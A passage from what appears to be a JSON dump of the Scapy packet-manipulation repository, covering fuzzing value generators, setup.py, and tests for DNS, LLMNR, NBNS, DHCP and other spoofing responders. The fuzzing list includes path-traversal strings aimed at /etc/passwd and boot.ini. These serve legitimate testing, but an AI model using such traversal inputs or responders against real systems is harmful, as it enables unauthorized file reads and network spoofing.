\"../../../../../../../../../../../../../../../../../etc/passwd\",  # noqa: E501\n                        \"%2e%2e%2f\" * 20 + \"etc/passwd\",\n                        \"%252e%252e%252f\" * 20 + \"boot.ini\",\n                        \"..%c0%af\" * 20 + \"etc/passwd\",\n                        \"..%c0%af\" * 20 + \"boot.ini\",\n                        \"//etc/passwd\",\n                        r\"..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\boot.ini\",  # noqa: E501\n                        \"AUX:\",\n                        \"CLOCK$\",\n                        \"COM:\",\n                        \"CON:\",\n                        \"LPT:\",\n                        \"LST:\",\n                        \"NUL:\",\n                        \"CON:\",\n                        r\"C:\\CON\\CON\",\n                        r\"C:\\boot.ini\",\n                        r\"\\\\myserver\\share\",\n                        \"foo.exe:\",\n                        \"foo.exe\\\\\", ]\n        super(RandSingString, self).__init__(*choices_list)\n\n    def _command_args(self):\n        # type: () -> str\n        return \"\"\n\n    def __str__(self):\n        # type: () -> str\n        return str(self._fix())\n\n    def __bytes__(self):\n        # type: () -> bytes\n        return bytes_encode(self._fix())\n\n\nclass RandPool(RandField[VolatileValue[Any]]):\n    def __init__(self, *args):\n        # type: (*Tuple[VolatileValue[Any], int]) -> None\n        \"\"\"Each parameter is a volatile object or a couple (volatile object, weight)\"\"\"  # noqa: E501\n        self._args = args\n        pool = []  # type: List[VolatileValue[Any]]\n        for p in args:\n            w = 1\n            if isinstance(p, tuple):\n                p, w = p  # type: ignore\n            pool += [cast(VolatileValue[Any], p)] * w\n        self._pool = pool\n\n    def _command_args(self):\n        # type: () -> str\n        ret = []\n        for p in self._args:\n            if isinstance(p, tuple):\n                ret.append(\"(%s, %r)\" % (p[0].command(), p[1]))\n            else:\n                ret.append(p.command())\n        return \", \".join(ret)\n\n    def _fix(self):\n        # type: () -> Any\n        r = random.choice(self._pool)\n        return r._fix()\n\n\nclass RandUUID(RandField[uuid.UUID]):\n    \"\"\"Generates a random UUID.\n\n    By default, this generates a RFC 4122 version 4 UUID (totally random).\n\n    See Python's ``uuid`` module documentation for more information.\n\n    Args:\n        template (optional): A template to build the UUID from. Not valid with\n                             any other option.\n        node (optional): A 48-bit Host ID. Only valid for version 1 (where it\n                         is optional).\n        clock_seq (optional): An integer of up to 14-bits for the sequence\n                              number. Only valid for version 1 (where it is\n                              optional).\n        namespace: A namespace identifier, which is also a UUID. Required for\n                   versions 3 and 5, must be omitted otherwise.\n        name: string, required for versions 3 and 5, must be omitted otherwise.\n        version: Version of UUID to use (1, 3, 4 or 5). If omitted, attempts to\n                 guess which version to generate, defaulting to version 4\n                 (totally random).\n\n    Raises:\n        ValueError: on invalid constructor arguments\n    \"\"\"\n    # This was originally scapy.contrib.dce_rpc.RandUUID.\n\n    _BASE = \"([0-9a-f]{{{0}}}|\\\\*|[0-9a-f]{{{0}}}:[0-9a-f]{{{0}}})\"\n    _REG = re.compile(\n        r\"^{0}-?{1}-?{1}-?{2}{2}-?{2}{2}{2}{2}{2}{2}$\".format(\n            _BASE.format(8), _BASE.format(4), _BASE.format(2)\n        ),\n        re.I\n    )\n    VERSIONS = [1, 3, 4, 5]\n\n    def __init__(self,\n                 template=None,  # type: Optional[Any]\n                 node=None,  # type: Optional[int]\n                 clock_seq=None,  # type: Optional[int]\n                 namespace=None,  # type: Optional[uuid.UUID]\n                 name=None,  # type: Optional[str]\n                 version=None,  # type: Optional[Any]\n                 ):\n        # type: (...) -> None\n        self._template = template\n        self._ori_version = version\n\n        self.uuid_template = None\n        self.clock_seq = None\n        self.namespace = None\n        self.name = None\n        self.node = None\n        self.version = None\n\n        if template:\n            if node or clock_seq or namespace or name or version:\n                raise ValueError(\"UUID template must be the only parameter, \"\n                                 \"if specified\")\n            tmp = RandUUID._REG.match(template)\n            if tmp:\n                template = tmp.groups()\n            else:\n                # Invalid template\n                raise ValueError(\"UUID template is invalid\")\n            rnd_f = [RandInt] + [RandShort] * 2 + [RandByte] * 8\n            uuid_template = []  # type: List[Union[int, RandNum]]\n            for i, t in enumerate(template):\n                if t == \"*\":\n                    uuid_template.append(rnd_f[i]())\n                elif \":\" in t:\n                    mini, maxi = t.split(\":\")\n                    uuid_template.append(\n                        RandNum(int(mini, 16), int(maxi, 16))\n                    )\n                else:\n                    uuid_template.append(int(t, 16))\n\n            self.uuid_template = tuple(uuid_template)\n        else:\n            if version:\n                if version not in RandUUID.VERSIONS:\n                    raise ValueError(\"version is not supported\")\n                else:\n                    self.version = version\n            else:\n                # No version specified, try to guess...\n                # This could be wrong, and cause an error later!\n                if node or clock_seq:\n                    self.version = 1\n                elif namespace and name:\n                    self.version = 5\n                else:\n                    # Don't know, random!\n                    self.version = 4\n\n            # We have a version, now do things...\n            if self.version == 1:\n                if namespace or name:\n                    raise ValueError(\"namespace and name may not be used with \"\n                                     \"version 1\")\n                self.node = node\n                self.clock_seq = clock_seq\n            elif self.version in (3, 5):\n                if node or clock_seq:\n                    raise ValueError(\"node and clock_seq may not be used with \"\n                                     \"version {}\".format(self.version))\n\n                self.namespace = namespace\n                self.name = name\n            elif self.version == 4:\n                if namespace or name or node or clock_seq:\n                    raise ValueError(\"node, clock_seq, node and clock_seq may \"\n                                     \"not be used with version 4. If you \"\n                                     \"did not specify version, you need to \"\n                                     \"specify it explicitly.\")\n\n    def _command_args(self):\n        # type: () -> str\n        ret = []\n        if self._template:\n            ret.append(\"template=%r\" % self._template)\n        if self.node:\n            ret.append(\"node=%r\" % self.node)\n        if self.clock_seq:\n            ret.append(\"clock_seq=%r\" % self.clock_seq)\n        if self.namespace:\n            ret.append(\"namespace=%r\" % self.namespace)\n        if self.name:\n            ret.append(\"name=%r\" % self.name)\n        if self._ori_version:\n            ret.append(\"version=%r\" % self._ori_version)\n        return \", \".join(ret)\n\n    def _fix(self):\n        # type: () -> uuid.UUID\n        if self.uuid_template:\n            return uuid.UUID((\"%08x%04x%04x\" + (\"%02x\" * 8))\n                             % self.uuid_template)\n        elif self.version == 1:\n            return uuid.uuid1(self.node, self.clock_seq)\n        elif self.version == 3:\n            if not self.namespace or not self.name:\n                raise ValueError(\"Missing namespace or name\")\n            return uuid.uuid3(self.namespace, self.name)\n        elif self.version == 4:\n            return uuid.uuid4()\n        elif self.version == 5:\n            if not self.namespace or not self.name:\n                raise ValueError(\"Missing namespace or name\")\n            return uuid.uuid5(self.namespace, self.name)\n        else:\n            raise ValueError(\"Unhandled version\")\n\n\n# Automatic timestamp\n\n\nclass _AutoTime(_RandNumeral[_T],  # type: ignore\n                Generic[_T]):\n    def __init__(self, base=None, diff=None):\n        # type: (Optional[int], Optional[float]) -> None\n        self._base = base\n        self._ori_diff = diff\n\n        if diff is not None:\n            self.diff = diff\n        elif base is None:\n            self.diff = 0.\n        else:\n            self.diff = time.time() - base\n\n    def _command_args(self):\n        # type: () -> str\n        ret = []\n        if self._base:\n            ret.append(\"base=%r\" % self._base)\n        if self._ori_diff:\n            ret.append(\"diff=%r\" % self._ori_diff)\n        return \", \".join(ret)\n\n\nclass AutoTime(_AutoTime[float]):\n    def _fix(self):\n        # type: () -> float\n        return time.time() - self.diff\n\n\nclass IntAutoTime(_AutoTime[int]):\n    def _fix(self):\n        # type: () -> int\n        return int(time.time() - self.diff)\n\n\nclass ZuluTime(_AutoTime[str]):\n    def __init__(self, diff=0):\n        # type: (int) -> None\n        super(ZuluTime, self).__init__(diff=diff)\n\n    def _fix(self):\n        # type: () -> str\n        return time.strftime(\"%y%m%d%H%M%SZ\",\n                             time.gmtime(time.time() + self.diff))\n\n\nclass GeneralizedTime(_AutoTime[str]):\n    def __init__(self, diff=0):\n        # type: (int) -> None\n        super(GeneralizedTime, self).__init__(diff=diff)\n\n    def _fix(self):\n        # type: () -> str\n        return time.strftime(\"%Y%m%d%H%M%SZ\",\n                             time.gmtime(time.time() + self.diff))\n\n\nclass DelayedEval(VolatileValue[Any]):\n    \"\"\" Example of usage: DelayedEval(\"time.time()\") \"\"\"\n\n    def __init__(self, expr):\n        # type: (str) -> None\n        self.expr = expr\n\n    def _command_args(self):\n        # type: () -> str\n        return \"expr=%r\" % self.expr\n\n    def _fix(self):\n        # type: () -> Any\n        return eval(self.expr)\n\n\nclass IncrementalValue(VolatileValue[int]):\n    def __init__(self, start=0, step=1, restart=-1):\n        # type: (int, int, int) -> None\n        self.start = self.val = start\n        self.step = step\n        self.restart = restart\n\n    def _command_args(self):\n        # type: () -> str\n        ret = []\n        if self.start:\n            ret.append(\"start=%r\" % self.start)\n        if self.step != 1:\n            ret.append(\"step=%r\" % self.step)\n        if self.restart != -1:\n            ret.append(\"restart=%r\" % self.restart)\n        return \", \".join(ret)\n\n    def _fix(self):\n        # type: () -> int\n        v = self.val\n        if self.val == self.restart:\n            self.val = self.start\n        else:\n            self.val += self.step\n        return v\n\n\nclass CorruptedBytes(VolatileValue[bytes]):\n    def __init__(self, s, p=0.01, n=None):\n        # type: (str, float, Optional[Any]) -> None\n        self.s = s\n        self.p = p\n        self.n = n\n\n    def _command_args(self):\n        # type: () -> str\n        ret = []\n        ret.append(\"s=%r\" % self.s)\n        if self.p != 0.01:\n            ret.append(\"p=%r\" % self.p)\n        if self.n:\n            ret.append(\"n=%r\" % self.n)\n        return \", \".join(ret)\n\n    def _fix(self):\n        # type: () -> bytes\n        return corrupt_bytes(self.s, self.p, self.n)\n\n\nclass CorruptedBits(CorruptedBytes):\n    def _fix(self):\n        # type: () -> bytes\n        return corrupt_bits(self.s, self.p, self.n)\n"
  },
  {
    "path": "setup.py",
    "content": "#! /usr/bin/env python\n\n\"\"\"\nSetuptools setup file for Scapy.\n\"\"\"\n\nimport io\nimport os\nimport sys\n\nif sys.version_info[0] <= 2:\n    raise OSError(\"Scapy no longer supports Python 2 ! Please use Scapy 2.5.0\")\n\ntry:\n    import setuptools\n    from setuptools import setup\n    from setuptools.command.sdist import sdist\n    from setuptools.command.build_py import build_py\nexcept:\n    raise ImportError(\"setuptools is required to install scapy !\")\n\n\ndef get_long_description():\n    \"\"\"\n    Extract description from README.md, for PyPI's usage\n    \"\"\"\n    def process_ignore_tags(buffer):\n        return \"\\n\".join(\n            x for x in buffer.split(\"\\n\") if \"<!-- ignore_ppi -->\" not in x\n        )\n    try:\n        fpath = os.path.join(os.path.dirname(__file__), \"README.md\")\n        with io.open(fpath, encoding=\"utf-8\") as f:\n            readme = f.read()\n            desc = readme.partition(\"<!-- start_ppi_description -->\")[2]\n            desc = desc.partition(\"<!-- stop_ppi_description -->\")[0]\n            return process_ignore_tags(desc.strip())\n    except IOError:\n        return None\n\n\n# Note: why do we bother including a 'scapy/VERSION' file and doing our\n# own versioning stuff, instead of using more standard methods?\n# Because it's all garbage.\n\n# If you remain fully standard, there's no way\n# of adding the version dynamically, even less when using archives\n# (currently, we're able to add the version anytime someone exports Scapy\n# on github).\n\n# If you use setuptools_scm, you'll be able to have the git tag set into\n# the wheel (therefore the metadata), that you can then retrieve using\n# importlib.metadata, BUT it breaks sdist (source packages), as those\n# don't include metadata.\n\n\ndef _build_version(path):\n    \"\"\"\n    This adds the scapy/VERSION file when creating a sdist and a wheel\n    \"\"\"\n    fn = os.path.join(path, 'scapy', 'VERSION')\n    with open(fn, 'w') as f:\n        f.write(__import__('scapy').VERSION)\n\n\nclass SDist(sdist):\n    \"\"\"\n    Modified sdist to create scapy/VERSION file\n    \"\"\"\n    def make_release_tree(self, base_dir, *args, **kwargs):\n        super(SDist, self).make_release_tree(base_dir, *args, **kwargs)\n        # ensure there's a scapy/VERSION file\n        _build_version(base_dir)\n\n\nclass BuildPy(build_py):\n    \"\"\"\n    Modified build_py to create scapy/VERSION file\n    \"\"\"\n    def build_package_data(self):\n        super(BuildPy, self).build_package_data()\n        # ensure there's a scapy/VERSION file\n        _build_version(self.build_lib)\n\n\n# Patch so that for setuptools < 77 understands the 'license' version required\n# by modern setuptools. See https://github.com/secdev/scapy/issues/4849.\n# This allow us to keep support for Python 3.7\ntry:\n    major = int(setuptools.__version__.split(\".\")[0])\n    if major < 77:\n        # We replace setuptools.dist.pyprojecttoml.apply_configuration with goo\n        from setuptools.config.pyprojecttoml import read_configuration, _apply\n\n        def _patched_apply_configuration(dist, filepath, *_):\n            # 1. We force ignore option errors regarding 'license'\n            config = read_configuration(filepath, True, ignore_option_errors=True, dist=dist)\n\n            # 2. We replace the license with the one it expected\n            if isinstance(config[\"project\"][\"license\"], str):\n                config[\"project\"][\"license\"] = {'text': config[\"project\"][\"license\"]}\n\n            return _apply(dist, config, filepath)\n\n        setuptools.dist.pyprojecttoml.apply_configuration = _patched_apply_configuration\nexcept Exception:\n    pass\n\n\nsetup(\n    cmdclass={'sdist': SDist, 'build_py': BuildPy},\n    data_files=[('share/man/man1', [\"doc/scapy.1\"])],\n    long_description=get_long_description(),\n    long_description_content_type='text/markdown',\n)\n"
  },
  {
    "path": "test/__init__.py",
    "content": ""
  },
  {
    "path": "test/answering_machines.uts",
    "content": "% Regression tests for Scapy Answering Machines\n\n# More information at http://www.secdev.org/projects/UTscapy/\n\n\n############\n############\n+ Answering Machines\n\n= Generic answering machine mocker\nfrom unittest import mock\n@mock.patch(\"scapy.ansmachine.sniff\")\ndef test_am(cls_name, packet_query, check_reply, mock_sniff, **kargs):\n    packet_query = packet_query.__class__(bytes(packet_query))\n    def sniff(*args,**kargs):\n        kargs[\"prn\"](packet_query)\n    mock_sniff.side_effect = sniff\n    am = cls_name(**kargs)\n    called = [False]\n    def _sndrpl(x):\n        called[0] = True\n        check_reply(x.__class__(bytes(x)))\n    am.send_reply = _sndrpl\n    am()\n    assert called[0], \"Filter never passed for AnsweringMachine !\"\n\n\n= BOOT_am\ndef check_BOOTP_am_reply(packet):\n    assert BOOTP in packet and packet[BOOTP].op == 2\n    assert packet[BOOTP].yiaddr == \"192.168.1.128\" and packet[BOOTP].giaddr == \"192.168.1.1\"\n\ntest_am(BOOTP_am,\n        Ether()/IP()/UDP()/BOOTP(op=1),\n        check_BOOTP_am_reply)\n\n\n= DHCP_am\ndef check_DHCP_am_reply(packet):\n    assert DHCP in packet and len(packet[DHCP].options)\n    assert (\"domain\", b\"localnet\") in packet[DHCP].options\n    assert ('name_server', '192.168.1.1') in packet[DHCP].options\n\ndef check_ns_DHCP_am_reply(packet):\n    assert DHCP in packet and len(packet[DHCP].options)\n    assert (\"domain\", b\"localnet\") in packet[DHCP].options\n    assert ('name_server', '1.1.1.1', '2.2.2.2') in packet[DHCP].options\n\ntest_am(DHCP_am,\n        Ether()/IP()/UDP()/BOOTP(op=1)/DHCP(options=[('message-type', 'request')]),\n        check_DHCP_am_reply,\n        domain=\"localnet\")\n\ntest_am(DHCP_am,\n        Ether()/IP()/UDP()/BOOTP(op=1)/DHCP(options=[('message-type', 'request')]),\n        check_ns_DHCP_am_reply,\n        domain=\"localnet\",\n        nameserver=[\"1.1.1.1\", \"2.2.2.2\"])\n\n= ARP_am\ndef check_ARP_am_reply(packet):\n    assert ARP in packet and packet[ARP].psrc == \"10.28.7.1\"\n    assert packet[ARP].hwsrc == \"00:01:02:03:04:05\"\n\ntest_am(ARP_am,\n        Ether()/ARP(pdst=\"10.28.7.1\"),\n        check_ARP_am_reply,\n        IP_addr=\"10.28.7.1\",\n        ARP_addr=\"00:01:02:03:04:05\")\n\n= ICMPEcho_am\ndef check_ICMP_am_reply(packet):\n    packet.show()\n    assert packet[Ether].src != \"ff:ff:ff:ff:ff:ff\"\n    assert packet[Ether].dst == \"aa:aa:aa:aa:aa:aa\"\n    assert IP in packet and ICMP in packet\n    assert packet[IP].dst == \"1.1.1.1\"\n    assert packet[IP].src == \"2.2.2.2\"\n    assert packet[ICMP].seq == 12\n\ntest_am(ICMPEcho_am,\n        Ether(src=\"aa:aa:aa:aa:aa:aa\", dst=\"ff:ff:ff:ff:ff:ff\")/IP(src=\"1.1.1.1\", dst=\"2.2.2.2\")/ICMP(seq=12),\n        check_ICMP_am_reply)\n\n= DNS_am\ndef check_DNS_am_reply(packet):\n    assert packet[Ether].src == \"bb:bb:bb:bb:bb:bb\"\n    assert packet[Ether].dst == \"aa:aa:aa:aa:aa:aa\"\n    assert packet[IP].src == \"127.0.0.2\"\n    assert packet[IP].dst == \"127.0.0.1\"\n    assert DNS in packet and packet[DNS].ancount == 1\n    assert packet[DNS].an[0].rdata == \"192.168.1.1\"\n    assert packet[DNS].qd[0].qname == b\"www.secdev.org.\"\n\ntest_am(DNS_am,\n        Ether(src=\"aa:aa:aa:aa:aa:aa\", dst=\"bb:bb:bb:bb:bb:bb\")/IP(src=\"127.0.0.1\", dst=\"127.0.0.2\")/UDP()/DNS(qd=DNSQR(qname=\"www.secdev.org\")),\n        check_DNS_am_reply,\n        joker=\"192.168.1.1\")\n\ndef check_DNS_am_reply_srvmatch(packet):\n    assert DNS in packet and packet[DNS].ancount == 1\n    assert isinstance(packet[DNS].an[0], DNSRRSRV)\n    assert packet[DNS].an[0].rrname == b'_ldap._tcp.dc._msdcs.scapy.fr.'\n    assert packet[DNS].an[0].port == 389\n    assert packet[DNS].an[0].target == b'dc.scapy.fr.'\n\ntest_am(DNS_am,\n        Ether()/IP()/UDP()/DNS(qd=DNSQR(qname=b'_ldap._tcp.dc._msdcs.scapy.fr.', qtype=\"SRV\")),\n        check_DNS_am_reply_srvmatch,\n        srvmatch={\"_ldap._tcp.dc._msdcs.scapy.fr\": (389, \"dc.scapy.fr\")})\n\ndef check_DNS_am_reply_arpa(packet):\n    assert DNS in packet and packet[DNS].ancount == 1\n    assert packet[DNS].an[0].rdata == b\"scapy.\"\n    assert packet[DNS].an[0].rrname == b\"1.0.16.172.in-addr.arpa.\"\n\ntest_am(DNS_am,\n        Ether()/IP()/UDP()/DNS(qd=DNSQR(qname=b\"1.0.16.172.in-addr.arpa.\", qtype=\"PTR\")),\n        check_DNS_am_reply_arpa,\n        jokerarpa=\"scapy\")\n\ndef check_DNS_am_reply2(packet):\n    assert DNS in packet and packet[DNS].ancount == 2\n    assert packet[DNS].an[0].rdata == \"128.0.0.1\"\n    assert packet[DNS].an[1].rdata == \"::1\"\n\ntest_am(DNS_am,\n        Ether()/IP(b'E\\x00\\x00H\\x00\\x01\\x00\\x00@\\x11|\\xa2\\x7f\\x00\\x00\\x01\\x7f\\x00\\x00\\x01\\x005\\x005\\x004\\xe8\\x9a\\x00\\x00\\x01\\x00\\x00\\x02\\x00\\x00\\x00\\x00\\x00\\x00\\x06gaagle\\x03com\\x00\\x00\\x01\\x00\\x01\\x06google\\x03com\\x00\\x00\\x1c\\x00\\x01'),\n        check_DNS_am_reply2,\n        match={\"google.com\": (\"127.0.0.1\", \"::1\"), \"gaagle.com\": \"128.0.0.1\"},\n        joker=False)\n\nassert DNS_am().make_reply(Ether()) is None\nassert DNS_am().make_reply(Ether()/IP()) is None\nassert DNS_am().make_reply(Ether()/IP()/UDP()) is None\nassert DNS_am().make_reply(\n    Ether()/IP()/UDP()/DNS(b'q\\xa04\\x00\\x00\\xa0\\x01\\x00\\xf3\\x00\\x01\\x04\\x01y')\n) is None\n\n= LLMNR_am\ndef check_LLMNR_am_am_reply(packet):\n    # assert packet[Ether].src == get_if_hwaddr(conf.iface)\n    assert packet[Ether].dst == \"aa:aa:aa:aa:aa:aa\"\n    # assert packet[IP].src == get_if_addr(conf.iface)\n    assert packet[IP].dst == \"192.168.0.1\"\n    assert packet[UDP].dport == 51938\n    assert packet[UDP].sport == 5355\n    assert LLMNRResponse in packet and packet[LLMNRResponse].ancount == 1 and packet[LLMNRResponse].qdcount == 1\n    assert packet[LLMNRResponse].qd[0].qname == b\"TEST.\"\n    assert packet[LLMNRResponse].an[0].rdata == \"192.168.1.1\"\n    assert packet[LLMNRResponse].an[0].rrname == b\"TEST.\"\n    assert packet[LLMNRResponse].an[0].ttl == 60\n\ntest_am(LLMNR_am,\n        Ether(src=\"aa:aa:aa:aa:aa:aa\", dst=\"01:00:5e:00:00:fc\")/IP(src=\"192.168.0.1\", dst=\"224.0.0.252\")/UDP(dport=5355, sport=51938)/LLMNRQuery(qd=DNSQR(qname=b\"TEST.\", qtype=\"A\")),\n        check_LLMNR_am_am_reply,\n        ttl=60,\n        match={\"TEST\": \"192.168.1.1\"})\n\n= mDNS_am\ndef check_mDNS_am_reply(packet):\n    packet.show()\n    # assert packet[Ether].src == get_if_hwaddr(conf.iface)\n    assert packet[Ether].dst == \"01:00:5e:00:00:fb\"\n    # assert packet[IP].src == get_if_addr(conf.iface)\n    assert packet[IP].dst == \"224.0.0.251\"\n    assert packet[IP].ttl == 255\n    assert packet[UDP].dport == 5353\n    assert packet[UDP].sport == 5353\n    assert DNS in packet and packet[DNS].ancount == 1 and packet[DNS].qdcount == 0\n    assert packet[DNS].an[0].rdata == \"192.168.1.1\"\n    assert packet[DNS].an[0].rrname == b\"TEST.local.\"\n    assert packet[DNS].an[0].ttl == 10\n\ntest_am(mDNS_am,\n        Ether(src=\"aa:aa:aa:aa:aa:aa\", dst=\"01:00:5e:00:00:fb\")/IP(src=\"192.168.0.1\", dst=\"224.0.0.251\", ttl=1)/UDP(dport=5353, sport=5353)/DNS(qd=DNSQR(qname=b\"TEST.local.\", qtype=\"A\")),\n        check_mDNS_am_reply,\n        joker=\"192.168.1.1\")\n\n\ndef check_mDNS_am_reply2(packet):\n    # $ avahi-resolve -n bonjour.local\n    packet.show()\n    # assert packet[Ether].src == get_if_hwaddr(conf.iface)\n    assert packet[Ether].dst == \"01:00:5e:00:00:fb\"\n    # assert packet[IP].src == get_if_addr(conf.iface)\n    assert packet[IP].dst == \"224.0.0.251\"\n    assert packet[IP].ttl == 255\n    assert packet[UDP].dport == 5353\n    assert packet[UDP].sport == 5353\n    assert DNS in packet and packet[DNS].ancount == 2 and packet[DNS].qdcount == 0\n    assert packet[DNS].an[0].rdata == \"192.168.1.1\"\n    assert packet[DNS].an[0].rrname == b\"bonjour.local.\"\n    assert packet[DNS].an[0].ttl == 120\n    assert packet[DNS].an[1].type == 47\n    assert packet[DNS].an[1].rrname == b\"bonjour.local.\"\n    assert packet[DNS].an[1].ttl == 120\n\ntest_am(mDNS_am,\n        Ether(b'\\x01\\x00^\\x00\\x00\\xfb\\xaa\\xaa\\xaa\\xaa\\xaa\\xaa\\x08\\x00E\\x00\\x00A\\xce}@\\x00\\xff\\x11\\x0b\\x89\\xc0\\xa8\\x00\\x01\\xe0\\x00\\x00\\xfb\\x14\\xe9\\x14\\xe9\\x00-\\xdbl\\x00\\x00\\x00\\x00\\x00\\x02\\x00\\x00\\x00\\x00\\x00\\x00\\x07bonjour\\x05local\\x00\\x00\\x01\\x00\\x01\\xc0\\x0c\\x00\\x1c\\x00\\x01'),\n        check_mDNS_am_reply2,\n        joker=\"192.168.1.1\",\n        ttl=120)\n\n= DHCPv6_am - Basic Instantiaion\n~ osx netaccess\na = DHCPv6_am()\na.usage()\n\na.parse_options(dns=\"2001:500::1035\", domain=\"localdomain, local\", duid=None,\n        iface=conf.iface, advpref=255, sntpservers=None,\n        sipdomains=None, sipservers=None, \n        nisdomain=None, nisservers=None, \n        nispdomain=None, nispservers=None,\n        bcmcsdomains=None, bcmcsservers=None,\n        debug=1)\n\n= DHCPv6_am - SOLICIT\n~ osx netaccess\nreq = IPv6(dst=\"::1\")/UDP()/DHCP6(msgtype=1)/DHCP6OptClientId(duid=DUID_LLT())\nassert a.is_request(req)\nres = a.make_reply(req)\nassert not a.is_request(res)\nassert res[DHCP6_Advertise]\nassert res[DHCP6OptPref].prefval == 255\nassert res[DHCP6OptReconfAccept]\na.print_reply(req, res)\n\n= DHCPv6_am - INFO-REQUEST\n~ osx netaccess\nreq = IPv6(dst=\"::1\")/UDP()/DHCP6(msgtype=11)/DHCP6OptClientId(duid=DUID_LLT())\nassert a.is_request(req)\nres = a.make_reply(req)\nassert not a.is_request(res)\nassert res[DHCP6_Reply]\nassert \"local\" in res[DHCP6OptDNSDomains].dnsdomains\na.print_reply(req, res)\n\n= DHCPv6_am - REQUEST\n~ osx netaccess\nreq = IPv6(dst=\"::1\")/UDP()/DHCP6(msgtype=3)/DHCP6OptClientId(duid=DUID_LLT())/DHCP6OptServerId(duid=a.duid)\nassert a.is_request(req)\nres = a.make_reply(req)\nassert not a.is_request(res)\nassert res[UDP].dport == 546\nassert res[DHCP6_Reply]\na.print_reply(req, res)\n\n= WiFi_am\nfrom unittest import mock\n@mock.patch(\"scapy.layers.dot11.sniff\")\ndef test_WiFi_am(packet_query, check_reply, mock_sniff, **kargs):\n    def sniff(*args,**kargs):\n        kargs[\"prn\"](packet_query)\n    mock_sniff.side_effect = sniff\n    am = WiFi_am(**kargs)\n    am.send_reply = check_reply\n    am()\n\ndef check_WiFi_am_reply(packet):\n    assert isinstance(packet, list) and len(packet) == 2\n    assert TCP in packet[0] and Raw in packet[0] and raw(packet[0][Raw]) == b\"5c4pY\"\n\ntest_WiFi_am(Dot11(FCfield=\"to_DS\")/IP()/TCP()/\"Scapy\",\n             check_WiFi_am_reply,\n             iffrom=\"scapy0\", ifto=\"scapy1\", replace=\"5c4pY\", pattern=\"Scapy\")\n\n\n= NBNS_am\ndef check_NBNS_am_reply(name):\n    def check(packet):\n        packet.show()\n        assert packet[Ether].src != \"ff:ff:ff:ff:ff:ff\"\n        assert packet[Ether].dst == \"aa:aa:aa:aa:aa:aa\"\n        assert NBNSQueryResponse in packet and packet[NBNSQueryResponse].RR_NAME == name\n    return check\n\nfor server_name in (None, \"\", b\"test\", \"test\"):\n    test_am(NBNS_am,\n            Ether(src=\"aa:aa:aa:aa:aa:aa\", dst=\"ff:ff:ff:ff:ff:ff\")/IP()/UDP()/NBNSHeader()/NBNSQueryRequest(QUESTION_NAME=\"test\"),\n            check_NBNS_am_reply(b\"test\"),\n            server_name=server_name)\n\ntest_am(NBNS_am,\n        Ether(src=\"aa:aa:aa:aa:aa:aa\", dst=\"ff:ff:ff:ff:ff:ff\")/IP()/UDP()/NBNSHeader()/NBNSQueryRequest(QUESTION_NAME=b\"\\x85\"),\n        check_NBNS_am_reply(b\"\\x85\"),\n        server_name=b\"\\x85\")\n\n= LdapPing_am\ndef check_LdapPing_am_reply(packet):\n    nlogon = packet[CLDAP].protocolOp.attributes[0]\n    assert nlogon.type == b\"Netlogon\"\n    logonresp = NETLOGON(nlogon.values[0].value.val)\n    assert isinstance(logonresp, NETLOGON_SAM_LOGON_RESPONSE_EX)\n    logonresp.show()\n    assert logonresp.DnsForestName == b'scapy.fr.', \"DnsForestName\"\n    assert logonresp.DnsDomainName == b'scapy.fr.', \"DnsDomainName\"\n    assert logonresp.DnsHostName == b'DC.scapy.fr.', \"DnsHostName\"\n    assert logonresp.NetbiosDomainName == b'SCAPY.', \"NetbiosDomainName\"\n    assert logonresp.NetbiosComputerName == b'DC.', \"NetbiosComputerName\"\n    assert logonresp.NtVersion == 3, \"NtVersion\"\n    assert logonresp.Flags == 0x3f3fd, \"Flags\"\n    assert logonresp.ClientSiteName == b'Default-First-Site-Name.', \"ClientSiteName\"\n\ntest_am(LdapPing_am,\n        Ether(b'\\xaa\\xaa\\xaa\\xaa\\xaa\\xaa\\xbb\\xbb\\xbb\\xbb\\xbb\\xbb\\x08\\x00E\\x00\\x00\\xaf\\x9d\\xb1\\x00\\x00\\x80\\x11\\x9c\\x89\\xac\\x13P\\x01\\xac\\x13W\\xdb\\xc7{\\x01\\x85\\x00\\x9bV[0q\\x02\\x01\\x01cl\\x04\\x00\\n\\x01\\x00\\n\\x01\\x00\\x02\\x01\\x00\\x02\\x01\\x00\\x01\\x01\\x00\\xa0M\\xa3\\x15\\x04\\tDnsDomain\\x04\\x08scapy.fr\\xa3\\x0e\\x04\\x04Host\\x04\\x06HOST01\\xa3\\r\\x04\\x05NtVer\\x04\\x04\\x16\\x00\\x00 \\xa3\\x15\\x04\\x0bDnsHostName\\x04\\x06HOST010\\n\\x04\\x08Netlogon'),\n        check_LdapPing_am_reply,\n        NetbiosComputerName=\"DC\",\n        NetbiosDomainName=\"SCAPY\",\n        DnsForestName=\"scapy.fr\")\n\n\ndef check_NBNS_LdapPing_am_reply(packet):\n    packet.show()\n    assert SMBMailslot_Write in packet, \"SMBMailslot_Write\"\n    assert packet[SMBMailslot_Write].Name == b'\\\\MAILSLOT\\\\NET\\\\GETDC510CC0AD', \"SMBMailslot_Write.Name\"\n    logonresp = NETLOGON(packet[SMBMailslot_Write].Data.load)\n    logonresp.show()\n    assert logonresp.DcSockAddrSize == 16, \"DcSockAddrSize\"\n    assert isinstance(logonresp.DcSockAddr, DcSockAddr)\n    assert logonresp.DcSockAddr.sin_family == 2, \"sin_family\"\n    assert logonresp.DcSockAddr.sin_port == 0, \"sin_port\"\n    assert logonresp.DcSockAddr.sin_zero == 0, \"sin_zero\"\n    assert logonresp.DcSockAddr.sin_addr == get_if_addr(conf.iface)\n    assert logonresp.DnsForestName == b'scapy.fr.', \"DnsForestName\"\n    assert logonresp.DnsDomainName == b'scapy.fr.', \"DnsDomainName\"\n    assert logonresp.DnsHostName == b'DC.scapy.fr.', \"DnsHostName\"\n    assert logonresp.NetbiosDomainName == b'SCAPY.', \"NetbiosDomainName\"\n    assert logonresp.NetbiosComputerName == b'DC.', \"NetbiosComputerName\"\n    assert logonresp.NtVersion == 13, \"NtVersion\"\n    assert logonresp.Flags == 0x3f3fd, \"Flags\"\n    assert logonresp.ClientSiteName == b'Default-First-Site-Name.', \"ClientSiteName\"\n\ntest_am(LdapPing_am,\n        